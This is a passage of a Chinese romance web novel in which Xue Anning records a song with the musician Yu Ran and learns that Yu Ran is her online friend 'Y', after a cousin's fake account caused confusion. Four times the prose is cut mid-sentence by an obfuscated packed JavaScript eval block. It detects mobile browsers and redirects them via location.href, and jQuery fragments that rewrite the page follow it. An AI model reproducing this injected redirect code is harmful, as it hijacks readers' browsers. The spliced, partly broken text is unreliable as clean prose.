郁燃轻扯唇角:“好喝就行。” 和薛安甯待在一起就总是忍不住心情会变得很好,或许这就是人与人之间的磁场,半点道理不讲。 郁燃领着薛安甯推门而入,走进录音棚——不见其人,先闻其声。 陆司听双手撑在台面正和另外的一男一女因为片段的和弦走向进行争论,见郁燃回来,她跟找到救星似的:“他们拿不定主意正找你人呢,你出去透风怎么透这么久?” “给你们买了奶茶,自己拿。”郁燃将手里拎着的剩下几杯奶茶放在桌面,看了一圈,“蒋明呢?” “他有点事出去,待会儿回来。”陆司听走过来挑挑拣拣,不客气挑了杯自己爱喝的。吸管捏在手里,她目光很自然就落在跟着郁燃一起进来的薛安甯身上,又看看郁燃,以眼神询问。 郁燃简单介绍:“我朋友,说想过来看看。”话落,她转过头跟薛安甯说话,“你先坐会儿,我看看他们怎么回事。” “怎么了?” …… 薛安甯在靠墙的小沙发坐下,手里还捧着郁燃买的果茶,她好奇地打量这个小型录音棚里的设备,耳畔飘来郁燃她们正常讨论的声音。 有些,她能听懂,有些,她听不懂。 郁燃她们讨论的,好像是她从来不曾接触过的另一个世界,遥远,闪闪发光。 尽管此刻她就坐在这。 就像和西外只有一条马路之隔的西京音乐学院。 初始时的愉悦渐渐褪去,薛安甯莫名生出一点惆怅。 不过这点情绪很快被她妥善处理。 坐在沙发上听了一会儿觉得无聊,薛安甯索性打开手机拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032600|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照,搜索棚子里这些设备都是做什么的。 郁燃她们拿定主意,用敲定的方案重新录了一份demo。 “nice!”陆司听取下耳机,回头看向站在一旁双手抱肩的人,“你来听听?” 郁燃听了一遍,很满意。 她取下耳机,回头,不意外迎上薛安甯亮晶晶的眼神。 郁燃忍俊不禁,邀请她:“要不然你也帮忙听听?” 这种铺台阶的话术,薛安甯怎么会拒绝? 郁燃起身腾出位置,薛安甯在椅子上落座,刚坐稳,眨眼的功夫头顶晃过小片阴影,下一秒,郁燃将耳机轻轻戴在了她头上。 薛安甯回头,看她。 心跳缓了拍。 耳机的隔音棉将周遭的一切嘈杂都隔离在外,世界中心在此时,仿佛只剩下薛安甯一个人。 录音棚里也没有风,可心跳却在摇摆。 也许是紧张。 郁燃微微一笑,抬起右手指指自己的耳朵,示意薛安甯要开始播放了。 薛安甯回神,脸转过去。 耳机里响起的旋律盖过所有,包括初现端倪的心跳。 “好听,很有记忆点。”两分钟出头的demo,薛安甯小心取下耳机真心夸赞。她回头问郁燃,“这就是上次吃烧烤的时候,你说的新歌吗?” 郁燃点头,声音带笑:“没错,就是这首。” 陆司听抱着肩靠在一旁看这两个人互动,若有所思。 郁燃今晚怎么这么爱笑,吃错药了? 正想着,靠在沙发上的女孩起身:“今晚差不多了吧,再晚你们学校宿舍是不是该锁门了?还是说今晚有人不回去,跟我走?” “蒋明还没回来,要等他吗?” “谁知道他要去多久,懒得管他了好吧。” 郁燃回头看一眼闲聊的同伴,按亮手机屏幕,指尖落在上面轻轻叩一下,沉吟:“还有点时间。” 话落,录音棚里其它三个人都朝她望来。 还以为她要发表什么重要讲话。 结果郁燃晾开这三道视线,垂眸,直接看向坐在椅子上的人,第二次邀请:“要不要试试,在这录首歌?” 13.头像 陆司听她们说“差不多可以结束”的时候,薛安甯朝观察窗玻璃后的录音间里悄悄瞥了眼。 这个动作相当隐晦,不细看的话,其实很难叫人注意到。 但事实是从走进录音棚到现在,薛安甯已经朝着那个方向看了数次。 郁燃一直都有注意她的小动作。 从来大方的薛安甯这次难得扭捏:“……嗯?” 她没有立即答应下来,但郁燃却看见她莹润的黑眸在自己说完以后亮了亮,似黑夜中摇曳忽闪,找不见方向的星光。 郁燃再次确认,薛安甯对这个提议是心动的。 “试试看,还有时间。”她又一次擅作主张,拉起薛安甯的手将人从椅子上带向录音间,同时,没忘记回头交代,“陆司听,外边操作交给你。” “哇哦。”陆司听松开抱肩的手,直起后腰,她和另外两个同伴交换一个眼神,无奈地走到电脑前坐下。 观察玻璃窗的背面,可以清楚看见郁燃和薛安甯站在那里。 薛安甯的心在狂跳,手和脚都有些无处安放的局促感,玻璃的另一面,三双陌生的眼睛在看着她。 她很紧张。 音乐,是她十分珍视且隐私的秘密。 她甚至没明白郁燃为什么会在刚才对她发出邀请,是看出来什么了吗? 薛安甯下意识看向身旁的人。 郁燃很好地接住她的情绪,开口,是让人安定的从容感:“别紧张,没什么的,她们和你军训时面对的那些同学也没什么区别。” 薛安甯忽然就没那么紧张了。她笑一声,打破局促的限制,又摇头:“不是因为这个。” 她紧张,不是因为这个。 她紧张只是因为郁燃的态度和眼前的设备,以及整个录音棚里站着的人,都看起来很郑重。 甚至是,沉重。 一首歌的时间,忽然变得沉甸甸的。 像梦想的重量,她够不到,也负担不起的梦想重量。 薛安甯努力平复心情让自己找到状态,她也不想浪费这次机会:“让我缓几分钟,行吗?” “不着急。”郁燃应下,抬眸,看见陆司听在玻璃那边比了个“OK”的手势。 然而事实是,薛安甯没一会儿就快速找到状态。她戴上耳机轻吸一口气,看向郁燃:“可以了,我先试试?但唱什么?” “是你录歌,当然随你。”郁燃保持着耐心。 薛安甯:“那,蝉鸣声声?” 目前来看,这首歌最贴她声线,也是她上传平台后热赞最多的一首。 在郁燃和她的音乐同好者面前,要是说自己没有压力,那也太假,薛安甯想拿出自己最好的状态。 “要是唱蝉鸣声声的话不用放伴奏了,郁燃就能用钢琴现场伴奏。”耳机里,突然递进来陆司听打趣的声音。薛安甯抬眸,看见玻璃那边的人在笑,但不是对着她,“对吧,郁燃?” 陆司听在调侃郁燃,这首歌是郁燃作词作曲。 薛安甯很惊讶。 郁燃还会弹钢琴?听起来,好厉害。 她目光灼灼,朝人望去。 录音棚里也确实有架现成的钢琴。 但郁燃拒绝了:“下次吧,这台钢琴没调过音,用起来费功夫。”话落,她凑到麦克风旁边,示意外头的陆司听,“让她先试试副歌部分。” 薛安甯敛回思绪,很快,听见耳机里传来的伴奏。 她注意着节拍直接进,没跟两句,就被郁燃叫停。 这人秀眉微蹙着,看起来像在思考:“气息收着没出来,薛安甯你站起来试试。” 薛安甯心脏突了一下,顺从地从凳子上起来。 事实上,这把凳子是租来棚子里本来就有的,不止一把,有两把,但郁燃从进来起就一直站着,做音乐的时候她身上刻意收起的那种距离感又卷土重来,薛安甯作为面对面近距离感受的那一方,只觉得很有压力。 耳机里的伴奏再度响起,薛安甯重新进。 她绷着情绪在唱。 突然,腹侧一痒—— 似有若无的温度隔着薄薄一层布料,顺着郁燃的指尖钻进来。 郁燃的指尖轻轻抵着她。 薛安甯的眼睫在颤,声音都差点走调。 很痒。 “收腹。”郁燃抬眸,声音很轻,“核心收紧,保持正常呼吸继续唱。” 大约也是反应过来自己刚刚有点太入神了,给人压迫,这会儿说话眉眼带了点弧度。 薛安甯同她对视一眼,只觉得空气都有些烫。 烫耳朵。 薛安甯的情绪随着郁燃的态度自然而然变得放松,她按照对方说的去做。 紧接着,是接二连三的夸奖—— “对,是这样,保持。” “很好……” “很棒。” 郁燃依然惜字如金,但难掩眼里藏带的笑意。 观察玻璃的另一面,陆司听看得直接笑出了声。她取下耳机转头询问另外两人,纳了闷:“这小妹妹你们之前见过吗?” “没有。” “不认识,都没听她说起过。” 两人的答案一致。 陆司听托腮:“那真是奇了怪了。” 话落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037089|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,录音间的门从里推开,郁燃出来后径直朝着工作台过来,陆司听看她这架势就知道是要干嘛,将手里的耳机默契递过去。 郁燃接过耳机,俯身凑近麦克风:“就按照刚刚说的那样保持住,我们从头来一遍。准备好了吗?3,2,1……” 薛安甯很完美地一遍过。 等她出来,陆司听十分自来熟地迎上去:“录完感觉怎么样啊,小薛妹妹。” 录音间里,她听见郁燃叫薛安甯的名字了。 薛安甯不回答,只是噙着唇角边浅浅的梨涡在笑,她不擅长自夸,却擅长踢皮球:“不如问问郁燃学姐觉得怎么样?” 又叫上学姐了。 陆司听回头朝人望去,看戏的模样。 郁燃单手撑在桌面,另只手拎着监听耳机,指尖轻轻搭在上头,也笑:“郁燃学姐觉得,很好。” 依旧惜字如金。 薛安甯谦虚回去:“都是学姐教得好。” 这两人一来一回,又一来一回。陆司听抬手抚过自己的手臂,叫停:“行,禁止互相吹捧,我的鸡皮疙瘩都起来了。” 薛安甯也知道见好就收,褪去方才在录音间里的局促,她笑着和大家正式打招呼:“今天耽误大家时间了,很开心能有这样的体验,我叫薛安甯。” “特别……谢谢学姐能带我认识大家。” 说着,她又看了郁燃一眼。 大方,开朗,游刃有余,郁燃唇边始终噙着丝缕笑意,看这样的薛安甯自由转换着状态。 这次是真的可以结束了。 下到大厦门口,五个人分走两边,西外和西音在同个方向,陆司听要回学校自然跟郁燃她们一起,路上,薛安甯又意犹未尽,又问了两人几个音乐方面相关的问题。 特别在气息和发声这一块。 “我之前在网上认识一个姐姐,她也是学音乐的,之前她也说我在发声这块有些问题。具体说什么我忘记了,稍等,我找一下……”薛安甯打开和Y的聊天窗口,精准搜索,很快找到当时的聊天记录。 她将手机屏幕递到郁燃面前。 一秒,两秒。 郁燃看着聊天窗口罕见的沉默,没说话。 薛安甯疑惑:“怎么了,她说得不对吗?” 陆司听听她这么问,也探过脑袋来看。 不看不知道,一看—— “诶,这个头像……” 话未说完,她被人从后轻轻拽了下。 薛安甯眼里透着几分茫然:“头像怎么了?” 陆司听临时急刹,舌头差点打结。她急中生智:“……还挺好看的。” 14.是我 四百米的距离,走了有一万年那么久。 后半段路陆司听小嘴紧闭,愣是没再说半句话。 气氛有一点点奇怪。 但薛安甯没有多想,她和郁燃又探讨了一下发声习惯的问题。 “你这个网友教你的没什么问题,和我今晚说的不冲突。”郁燃将手机还给薛安甯,眸光闪烁,好一会儿才再开口,“但不管是她说的还是我说的,这些其实都只是很基础的声乐基本功,如果是业余爱好的话,你现在已经唱得很好了,但想继续提升的话,有考虑过找老师系统学习吗?” 到地方了,郁燃停下脚步侧目静静凝着她。 已经是要分道的时候,往左过马路是西外,往右,是西音。 陆司听这会儿终于不当哑巴了,她插话:“小薛妹妹这么喜欢音乐怎么没考我们西音啊?先前你叫郁燃学姐,我还以为你是我们直系学妹呢。” 薛安甯默了默,绽出个笑:“家里不赞成我学音乐。” 话落,她掐断话题没让它继续延伸下去:“谢谢两位学姐,今晚很开心,找老师的建议我也会认真考虑,但要系统学的话应该没什么时间。” 郁燃没多劝:“到寝室给我发条消息。” 薛安甯:“嗯,下次再见。” 穿过斑马线,薛安甯还回了下头冲她们挥手,郁燃双手插在外套口袋里没动作,唇角小幅牵动着。 西音东门这边属于小车进出专用,人烟稀少。 十月的银杏叶还没开始黄,绿油油的。 两人沿着校内大路走了段,陆司听忍不住开口:“诶,刚刚那个头像是你吧?” 郁燃眉毛轻盈地往上挑了挑:“怎么,做不出音乐改查户口了?” 陆司听真有被这句话刺痛到,差点跳脚:“你嘴好臭啊,漂漂亮亮一个人嘴怎么能这么臭呢?”她最近几个月确实有点黔驴技穷,想写曲子,但没灵感,且最近还被教音乐史的教授针对了。 “说啊!”她耐着性子催促。 郁燃薄唇轻抿,倏尔,缓缓开口:“是我。” “但她不知道是我。” “所以,你也不要说漏嘴。” * 当晚回去以后郁燃躺在宿舍床上,戴好耳机,将导出来的录音文件听了一遍又一遍,最终,给薛安甯发送过去。 一星期后,她登陆爱唱app,发现特别关注列表上传了新的作品,正是那天自己发给薛安甯的那份录音。 点了个赞。 西音东门两侧的银杏由绿转黄,铺成满目的金灿,时间迈入十一月。 薛安甯十分顺利地进入音乐社,这期间,她很积极参与社团活动,社内大小聚餐也去了两次,以极快的速度融入到这个小集体里。和黄遐的关系也越来越好了,好几次社团活动结束以后,两人顺路约着出去吃饭。 大学生活第一页翻开,充实忙碌。 薛安甯之前说自己应该没什么时间,并非搪塞,而是确实没有时间。 西外这种语言类高校的学习模式不像其他高校,她们不仅有早八,还有早自习——像是跳入高中学习模式以后就循环往复,从未走出来。 所谓“上了大学就轻松了”这种话,也不适用于西外。 不太清楚别的系是怎么安排,但英语系大一大二的学生会被强制要求早自习,周一到周五,从七点二十到八点,四十分钟,风雨无阻,即便早上没课也必须到场。 然后便是频繁不断的听写测验与小考,还有口语考核。 从入学起,就得开始准备一年后的专业四级考试,光是这些本专业的功课就已经足够薛安甯忙得头脚倒悬,再加上偶尔的班干部开会和社团活动,她哪有什么时间去外面系统学习音乐。 整个十一月,薛安甯和郁燃总共见了两次,两次都是在黄遐邀约的饭局上。 到月底的时候,入学奖学金发下来了,薛安甯属于高分考入的那小部分人,钱到账以后,她便请了几个室友吃饭和黄遐去学校外吃一家韩式烤肉,倒是在线上也叫了郁燃,但郁燃说自己没空。 薛安甯觉得有点可惜。 “我也不知道她最近在忙什么,但就是挺忙的……都别提,上周我叫她出去玩她也说没空。”雪花牛肉粒扔上铁网烤出“滋滋”的油声,黄遐挨个翻面。 贺思琪端起手边的饮料喝一口:“学音乐也这么忙啊?” 黄遐表情夸张:“别,可别拿她们跟我们比,我感觉郁燃可以自己单独分个专业,别人可都没她忙。” 薛安甯听郁燃被人这么形容,没忍住,低头笑了声。 黄遐听见后,转头问她:“你笑什么?” 薛安甯又将笑憋回去,故作淡定:“没什么啊,就是觉得学姐你说得很对,她们哪里能有我们苦呢~~” 这句话,让一桌子每天早起上早自习的人发出坚定的共鸣,所有人深以为然。 十二月,枝头上最后一片银杏悄无声息地飘落。 月中的时候薛安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041088|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甯和辅导员请了两天回去一趟江榆,理由是,给家中长辈做寿。 是的,爷爷六十大寿。 早提前一周,父母就在家庭群里频繁提起,让薛安甯一定提前和老师请好假,当天必须到场。 他们薛家的孝子贤孙都要到,不然,得被人嚼舌根。 薛安甯挺无语的,但收下机票钱,还是照做。 其实,薛安甯知道爷爷奶奶也并没有那么喜欢自己,这次之所以一定要她回去,不过是因为她是薛家孙辈里唯一一个985高材生,薛爸也因为这事在大哥面前总算扬眉吐气了一回。 大伯家的堂哥,只上了个本地大专。 做寿这天,大家都很高兴,热热闹闹的。 薛安甯作为新晋吉祥物,跟在父母身后一轮假惺惺地认人问候回来,刚坐下—— 薛轩歪着屁股侧过来,小声说:“你高考考太好了,别说堂哥,你知道我现在在家里压力多大吗?爸妈动不动就念叨我,前两天更是直接给我把电脑锁了。” “但没用,哈哈!我猜到密码了,他们现在还以为这个计划很成功。” 薛安甯轻扯唇角,觉得讽刺,跟着他敷衍地笑两声。 结果薛轩没完了。 她开始烦:“你自己不争气还赖上我了?” 薛轩不乐意了:“你说话怎么有点难听。” 薛安甯皮笑肉不笑:“你第一天知道?” 讨了没趣,薛轩撇撇嘴老实坐回自己的位置等开席。 终于清净片刻,薛安甯摸出手机刷刷看看,放松心情。 没过几分钟,薛轩又凑过来。 她眉毛轻拧着,尽量克制:“又干嘛?” “跟你说个事。”薛轩笑一声,声音依旧压得很低,“去年那个Y你还记得吗?” “……怎么了?” 薛安甯握紧手机,心跳开始加速。 周围嘈杂的人声渐渐远去,她只听见自己忐忑的心跳声。 身旁,薛轩还在继续说:“她之前莫名其妙把我删了,我昨天想起来又试着去加她,你猜怎么着?” “她又同意我的好友申请了。” 说着,薛轩晃了晃自己手上的屏幕。 薛安甯定睛一看——熟悉的聊天窗口,就在几分钟前,薛轩还给Y发去了现场的席面图片。 -云端の:今天爷爷做六十大寿~~ 下一秒,窗口界面跳出Y的视频邀请。 薛安甯愣了眼。 15.见一面 “卧槽!” 听到突然响起的q/q视频提示音薛轩傻了下,手机差点扔掉。 这会儿东西在他手里成烫手山芋了。 慌乱两秒,他将手机怼进薛安甯怀里。 “……” “你接。” 薛安甯看他一眼,没犹豫直接点了拒绝。 薛轩再次傻眼,他没忍住提高声量:“你干嘛直接挂掉,等下说不清的!” 这声动静略大,引得隔壁桌的亲戚朋友都回头张望,薛爸隔着好一段听见儿子在这边叫嚷,不免不悦:“薛轩!干什么呢,小点声不要打扰其他客人。” 薛轩缩起脖子:“哦……”好一会儿,他再次小声重复,“你干嘛挂掉?” 薛安甯将手机扔到桌上,很不客气地动作,能听见“duang”的一声:“要不把人删了,要不你自己去跟人解释,我不会再帮你骗人。” 这回她既没有凶巴巴瞪人,也没有冷嘲热讽,反而相当平静,但薛轩知道,薛安甯比以往任何一次都要生气。 他没敢再往枪口上撞。 伸手去够手机的时候,薛轩看见了安静躺在窗口里的消息—— -Y:你是本人吗? “肯定不是本人啊!” 陆司听坐在旁边舀一勺汤喂嘴里,妥妥的预言家口吻:“你这话问得就多余,我都说他肯定不会接,你非要打。” “云端の”男装女那个账号的事,陆司听是知情人之一。 很巧,她就是那个交友群的群主,郁燃是被她硬拉进群的。 那段时间,郁燃因为一些事情绪并不高涨,灵感也欠缺,陆司听想着让她在线上活跃点转移转移注意力,说不定灵感就来了,凑巧,“云端の”就是那会儿进的群。 但他进群没几天就被陆司听发现出不对劲,当时陆司听和其他几个群管理商量怎么确定这事,一眨眼,他惹上郁燃了。 陆司听连忙电话过去提醒:“那人应该是男的装的,你小心点。” 郁燃却轻飘飘的,并不惊讶:“我知道。” “最近无聊,就当遛狗了。” 陆司听无言以对。 这确实是她所熟悉的郁燃,清傲,冷漠,虽然很多时候表现出来温和礼貌的模样,实际上骨子里那股劲根本藏不住,确实也只有郁燃能用平淡的口吻,将把人当狗遛这种话说出种散漫平常的蔑视感。 但后来郁燃对这个“云端の”的态度转好了一阵,当时陆司听还纳闷,觉得奇怪。 直到前阵子她才弄明白,原来这里头还有薛安甯的事。 乱成一锅。 手机收回兜里,郁燃拿起筷子慢吞吞开始吃饭:“没事。” 陆司听“哈哈”两声:“你当然没事。”笑完,她话锋一转,“但你这么做图什么呢?” 郁燃勾勾唇,掀眼看她,清淡语气同平常说话没什么两样,但眼神却没让陆司听感觉到有多正经:“跟你说了你也不懂,别想了,好好吃饭,不是喜欢今天食堂这个糖醋小排吗?多吃点。” 好好吃,多吃点。 瞧瞧。 这像在哄猪。 陆司听听出来了,她哼了声,瞪一眼郁燃把筷子伸到对方盘子里夹走一块超肥美的糖醋小排。 嘿,精神损失费。 话题转到别处,两人又聊了聊最近那个CNAC国际青年作曲大赛——郁燃这阵子就是在忙这个比赛的事,前天刚结束。 陆司听对这个比赛没什么想发言的,她甚至都没报名参加的想法。 神仙打架。 只能说人与人之间的差别也挺大。 比如说人是人,郁燃是郁燃。 将盘子送到餐具回收点,陆司听走到隔壁去买奶茶,郁燃摸出手机又看了一眼。 安安静静,没有任何消息进来的提示。 意料之中。 没关系,那就再等等。 郁燃总共等了两天,中间和黄遐吃了一顿饭,闲聊时,听黄遐说薛安甯已经回到学校。 当天晚上,“Y”的微信账号就收到了薛安甯发来的消息。那会儿郁燃正在厕所里洗澡,没静音的手机扔桌上响了好几声,出来时室友提醒她有人找。 郁燃一手托毛巾轻轻擦拭湿发,走到桌前拿起手机解锁—— -x:关于“云端”那个□□账号的事情我想和你聊一下。 -x:首先我想和你说声对不起,那个账号不是我本人。 -x:实在很抱歉。 气息浮动,郁燃很轻地笑了下。 薛安甯的微信昵称和□□同名,都是一个小写的“x”,此时的聊天窗口上方“正在输入” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048161|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的状态和薛安甯的微信网名正在频繁切换,看得出来,屏幕那端的薛安甯很难为情地在措辞。 其实最开始那会儿,郁燃在群里看见“云端の”的发言,就笃定这账号背后是男装女。 赶上那阵她心情不好,把人留着当赛博小丑看着玩。 但耐心持续没几天,她懒得敷衍对方了,直接将人戳穿。 没想到“云端の”竟然直接否认自己是男性,还说,可以开视频验证性别。 郁燃同意了。 她把这事当做个挺低级的笑话在看,但没想到摄像头那边竟然真的是个女孩,模样与“云端の”发过来的照片也吻合,清隽漂亮,笑起来唇边还有浅浅的梨涡,若隐若现。 这次视频之后,郁燃为自己先入为主的恶劣态度反思了两天,对“云端の”态度缓和不少。 不过很快,她又开始觉得不对。 直到后来有天“云端の”提出要和自己加微信,到这,她才彻底确定下来□□那边和微信这边,是完全不同的两个人。 微信这边,很明显是薛安甯本人。 那会儿郁燃猜的是,薛安甯应该认识“云端の”,或者说,和“云端の”关系不错。 但也没深究,毕竟只是网友,q/q那边删了就算了。 可近两个月发生的一系列事情,让她心态又发生了变化。 郁燃与人交往的门槛向来很高,更不屑那些鸡鸣狗盗的事,她需要确认薛安甯不是那样的人,也需要对方一个郑重的解释。 所以,她同意了“云端の”的好友申请,并且在生日宴当天给对方直接弹视频,还发了那样一条指向性明确的消息过去。 -你不是本人吧? 不是给“云端の”看的,是给薛安甯看的。 郁燃想,如果薛安甯是一个值得交往的人,那么,在看见那条消息以后就该主动找自己解释了。 她等了两天,还是等到。 这证明,她没有看错人。 对话框上方的状态又变成了“正在输入”。 郁燃将手里的毛巾搭了搭,腾出手来打字回复,濡湿的发尾轻轻擦过手背,留下水痕—— -见一面吧,如果你有把我当朋友的话。 -我刚好也在西京。 -道歉的话,当面比较有诚意,不是吗? 16.换换 “咚咚”两下,叩门响。 思绪被打断。 寝室虚掩的门外探进来一个脑袋—— 一道清脆脆的女声:“薛安甯在吗?” 贺思琪靠在吊椅上,回头叫人:“薛安甯,有人找你。” “哦,好,来了。”指尖蜷了蜷,薛安甯最终还是没回Y的消息,而是将手机倒扣在桌面上走出了寝室。 事实上,她也没想好这句要怎么回。 从床位走到寝室门口这几步路,某个关键信息在薛安甯的大脑里反复闪现。 原来,Y也在西京念书。 当天从薛轩手机上看到那条质询是不是本人的消息以后,薛安甯从席前一直忐忑到结束,家人特地大操大办的寿宴也吃得味同嚼蜡。手机放在口袋里每振动一下,她都在想,是不是Y发消息过来质问自己了? 都不是。 当天傍晚,薛安甯就搭上了回西京的航班。 确实是反复纠结了几天才下定决心主动找人道歉,Y不冷不淡的反应也算在她预料之中。 只是,没想到对方会提出要见面。 薛安甯有点乱。 “我之前交过一次辅导员说不行,说太笼统,但我也不知道到底要具体详细到什么地步。” 来找薛安甯的人是隔壁几个班的班干部,她们听说英商一班的团建报备交上去已经通过了,想着一起过来取取经——团建内容和分工是班上干部开会一起商量的,但交过去的详细报备内容却是薛安甯独自落地完成。 几人没走远,就在寝室门口。 薛安甯问她:“文件手机有云存档吗,我帮你看看哪里不对。” “有的有的,你等等,我找一下。” 话落,又有人问:“薛安甯,你那份报备计划书能发给我们参考一下吗?” …… 状态栏的“正在输入”消失之后,就没有下文了。 郁燃放下手机,从柜子里拿出吹风开始吹头发。 寝室里很安静,除她以外,剩下的另个女生这会儿戴着头戴式耳机坐在电脑前做音乐赏析,还有个人没有回来,当然,也可能今晚都不会回来。 她们是标准的四人寝,但只住了三个人。 与薛安甯那边的热热闹闹不同,郁燃和室友交集不多,同住一个屋檐下除了必要的问候和打招呼,大家基本都是各做各的事情。 头发吹好,郁燃又看一眼手机。 还是没消息。 她打开电脑开始写曲式分析作业。 半小时后郁燃伸个懒腰起身喝口水,再看手机,已经得到答复。 -x:好,但是这周不行,我们课排得很满,周末已经定好了班级团建,下周可以吗? 五分钟前的消息。 薛安甯没问她在西京哪里,也没问其他。 说周末有班级团建。 是真有,还是借口? 郁燃仔细回忆,确认过自己下周末没有其他的外出安排,应下。 -Y:嗯,那就下周六,时间地点到时候我定好发给你。 消息发过去,很快,弹出一条新的。 薛安甯几乎是秒回。 -x:姐姐,你生我气吗? 这句话后边跟了个小狗落泪的表情包。 -x:对不起。 薛安甯再次道歉。 郁燃捏着水杯重新坐下,肘部搁在桌面随意地举起手机,盯着屏幕上薛安甯发过来那一个小狗流泪动态表情包,轻扯唇角,视线轻飘飘上移,落在“姐姐”那两个字上——很容易就联想到一张很乖的脸。 当然,是装出来的乖。 和之前的那声“学姐”,有异曲同工之妙。 郁燃回复她:不生气,我也有事情要告诉你,到时候见面说。 薛安甯百思不得其解,Y能有什么事要告诉她? Y有事情瞒她? Y是个男的? Y人设造假? 半夜睡不着觉,薛安甯脑洞大开假设了好几种可能,不知不觉迷迷糊糊睡了过去。 睁眼就是天亮,等待她的,是早八。 周二,早八。 周三还是早八。 周四上午没课,但逃不开早自习听写,下午上完三节商英写作课,贺思琪整个人跟被抽走魂似的,从三教出来后这一路都没说话,到食堂窗口排队的时候,突然冒出一句:“上辈子杀人放火,这辈子才学语言。” 薛安甯看她一眼,毛思晴低头玩手机,江姜拍拍她肩膀,故作老成叹口气。 犹如一颗石子扔进池塘,没有水花。 贺思琪不行了:“没人赞同我吗??” 毛肖晴抬头:“明天就是周五了,你再熬熬。” 江姜:“就是。” 薛安甯:“但是明天满课。” 贺思琪更崩溃了,她从后一把搂住薛安甯的脖子开始哀嚎,说薛安甯好残忍。 几个人嬉笑打闹着。 食堂门帘掀开,出去几个人,又进来几个人,气味繁杂的食堂里溜进来几缕清新的冷空气。 接着,传来熟悉的人声—— “诶,薛安甯?” 贺思琪动作顿了顿,薛安甯拉开她搭在自己肩膀上的手,朝侧大门望去。 是黄遐。 还有…… 郁燃落后黄遐半个身位,亮眼的短款羽绒服,围条围巾,脚上仍旧踩着双马丁靴,看上去温暖又清淡。 薛安甯视线在她身上停留半秒,移开。 她想,郁燃一定有很多双大同小异的短靴。 很久没见过郁燃了,之前攒起来的那些熟悉,一下,又变得生疏。 其它几个人也热情喊了声学姐。 黄遐朝她们走过来:“好巧,你们刚下课是不是,在一楼吃啊?” 薛安甯指指窗口,示意:“今天一楼的菜还不错。” “是吗?我看一眼。”黄遐准备走到队伍前方去看一眼,没忘记招呼身后的人,“你等我会儿啊郁燃!” 郁燃没应她,头微微低着,有一半下巴藏进了围巾里。 薛安甯看向她,笑意稍稍收敛:“……你忙完了啊?” 怎么,没听你说呢? 薛安甯有阵子没找郁燃闲聊了,上回发了奖学金叫郁燃出来吃饭,郁燃说忙,没空,等下次,薛安甯就想着等人忙完了应该会主动约自己。 结果现在看,也没有。 “嗯,对。”郁燃下巴微抬了抬,藏在围巾后方的唇嗫嚅着,正要说些什么。 黄遐回来了,她大手一挥:“走吧,没有特别想吃的,还是上二楼吃螺蛳粉。” “那我们先走了啊!” 她又和几人道别,来去如风。 刚好这时打饭的队伍也排到了薛安甯她们。阿姨打菜的时候,贺思琪端着饭盘从后方幽幽凑过来,小声问:“你不是说你跟郁燃很熟吗?” 刚刚那个态度。 薛安甯无奈:“你好记仇啊琪琪。” 贺思琪傲娇地哼一声。 薛安甯转身接过阿姨递来的餐盘。 再说了,她好像也没说过她和郁燃很熟。 从来都没有。 只不过室友们都这么以为。 黄遐也这么以为。 “怎么你今天心情不好吗?还是薛安甯得罪你了?跟人说话一个字一个字往外蹦的。”站在窗口等师傅下粉,她回头打量身后的人,替薛安甯打抱不平。 她和薛安甯还挺熟的,觉得这个学妹人不错。 郁燃怔了下,倏尔,好笑地看着她:“有没有可能我正要说话,被你打断了?” 黄遐被她问愣住。倏尔,哈哈一笑把事带过:“那sorry啦~~” 拽了句洋文。 郁燃受不了螺蛳粉的味儿,趁黄遐吃饭的时候去二楼的卤味窗口转了圈,回来时,手里拎了挺沉一袋。 这还没完。 吃完走的时候,她又食堂门口的超市买了个挺沉的哈密瓜。 黄遐拎的。 黄遐以为她带回去给室友朋友吃,抱怨了好几句,说哈密瓜这玩意你们自己学校没卖吗?这么老远拎回去,沉死了。 结果到了她们寝室,郁燃说让黄遐拿给室友们吃的。 “合着是帮我买的啊?” 黄遐又意外又惊喜,有点受宠若惊。 也不知道郁燃今天是怎么了,这么为她着想,平时吧这人自己都不怎么乐意社交, 